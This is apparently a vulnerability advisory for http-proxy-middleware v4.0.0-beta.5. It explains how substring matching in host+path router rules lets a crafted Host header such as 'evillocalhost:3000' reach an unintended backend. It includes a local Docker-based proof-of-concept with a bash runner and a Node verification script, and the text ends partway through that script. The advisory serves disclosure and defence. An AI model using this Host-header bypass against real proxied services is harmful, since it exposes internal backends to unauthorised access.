http-proxy-middleware router host+path substring matching allows Host-header-driven backend routing bypass
# Summary
http-proxy-middleware documents router proxy-table entries as host, path, or host+path selectors, but the host+path implementation uses unanchored substring matching on attacker-controlled request metadata. As a result, a crafted Host header that is only a superstring match for a configured host+path key can still route a request to an unintended backend.
# Details
Tested code state:
- validated on tag
v4.0.0-beta.5 - corresponding commit:
339f09ede860197807d4fd99ed9020fa5d0bd358
Relevant code locations:
src/router.tssrc/http-proxy-middleware.ts
Affected public API:
createProxyMiddleware({ router: { 'host/path': 'http://target' } })
Code explanation:
When a proxy-table router key contains /, getTargetFromProxyTable() concatenates attacker-controlled req.headers.host and req.url into a single hostAndPath string, then accepts the route if:
```ts
hostAndPath.indexOf(key) > -1
```
That is a substring test, not an exact host match plus intended path match. In the validated PoC, the configured router key is:
```txt
localhost:3000/api
```
but the attacker-controlled host is:
```txt
evillocalhost:3000
```
and the request path is:
```txt
/api
```
The concatenated attacker-controlled string:
```txt
evillocalhost:3000/api
```
still contains the configured router key as a substring, so the middleware selects the alternate backend even though the host is not equal to the configured host.
Exploit path:
1. the application enables the documented proxy-table router feature with at least one host+path rule
2. an external attacker sends an ordinary HTTP request with a crafted Host header
3. HttpProxyMiddleware.prepareProxyRequest() applies router selection before proxying
4. getTargetFromProxyTable() accepts the crafted Host + path string through substring matching
5. the request is proxied to the wrong backend
PoC
Create these files in the same working directory and run:
```bash
bash ./run.sh
```
File: run.sh
```bash
#!/usr/bin/env bash
set -euo pipefail
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
REPO_URL="https://github.com/chimurai/http-proxy-middleware.git"
REPO_REF="v4.0.0-beta.5"
WORKDIR="$(mktemp -d "${SCRIPT_DIR}/.tmp-repro.XXXXXX")"
TARGET_REPO_DIR="${WORKDIR}/repo"
REPRO_DIR="${WORKDIR}/reproduction"
IMAGE_TAG="http-proxy-middleware-router-bypass-poc"
cleanup() {
rm -rf "${WORKDIR}"
}
trap cleanup EXIT
echo "[a3] cloning target repository"
git clone --quiet "${REPO_URL}" "${TARGET_REPO_DIR}"
git -C "${TARGET_REPO_DIR}" checkout --quiet "${REPO_REF}"
mkdir -p "${REPRO_DIR}"
cp "${SCRIPT_DIR}/Dockerfile" "${WORKDIR}/Dockerfile"
cp "${SCRIPT_DIR}/verify.mjs" "${REPRO_DIR}/verify.mjs"
echo "[a3] building reproduction image"
docker build -f "${WORKDIR}/Dockerfile" -t "${IMAGE_TAG}" "${WORKDIR}"
echo "[a3] running verification"
docker run --rm "${IMAGE_TAG}" node /work/reproduction/verify.mjs
```
File: Dockerfile
```Dockerfile
FROM node:22-bullseye
WORKDIR /work
COPY repo/package.json repo/yarn.lock /work/repo/
RUN corepack enable \
&& cd /work/repo \
&& yarn install --frozen-lockfile
COPY repo /work/repo
RUN cd /work/repo && yarn build
COPY reproduction /work/reproduction
```
File: verify.mjs
```js
import http from 'node:http';
import fs from 'node:fs';
import assert from 'node:assert/strict';
import { createProxyMiddleware } from '/work/repo/dist/index.js';
const ROUTER_KEY = 'localhost:3000/api';
const CRAFTED_HOST = 'evillocalhost:3000';
function listen(server, port) {
return new Promise((resolve) => {
server.listen(port, '127.0.0.1', () => resolve());
});
}
function close(server) {
return new Promise((resolve, reject) => {
server.close((err) => {
if (err) {
reject(err);
return;
}
resolve();
});
});
}
function request(path, host) {
return new Promise((resolve, reject) => {
const req = http.request(
{
host: '127.0.0.1',
port: 3000,
path,
method: 'GET',
headers: {
Host: host,
},
},
(res) => {
let data = '';
res.setEncoding('utf8');
res.on('data', (chunk) => {
data += chunk;
});
res.on('end', () => {
resolve({ statusCode: res.statusCode, body: data });
});
},
);
req.on('error', reject);
req.end();
});
}
const defaultBackend = http.createServer((req, res) => {
res.end('DEFAULT');
});
const secretBackend = http.createServer((req, res) => {
res.end('SECRET');
});
const proxyMiddleware = createProxyMiddleware({
target: 'http://127.0.0.1:3101',
router: {
[ROUTER_KEY]: 'http://127.0.0.1:3102',
},
});
const proxyServer = http.createServer((req, res) => {
proxyMiddleware(req, res, () => {
res.statusCode = 404;
res.end('NO_PROXY');
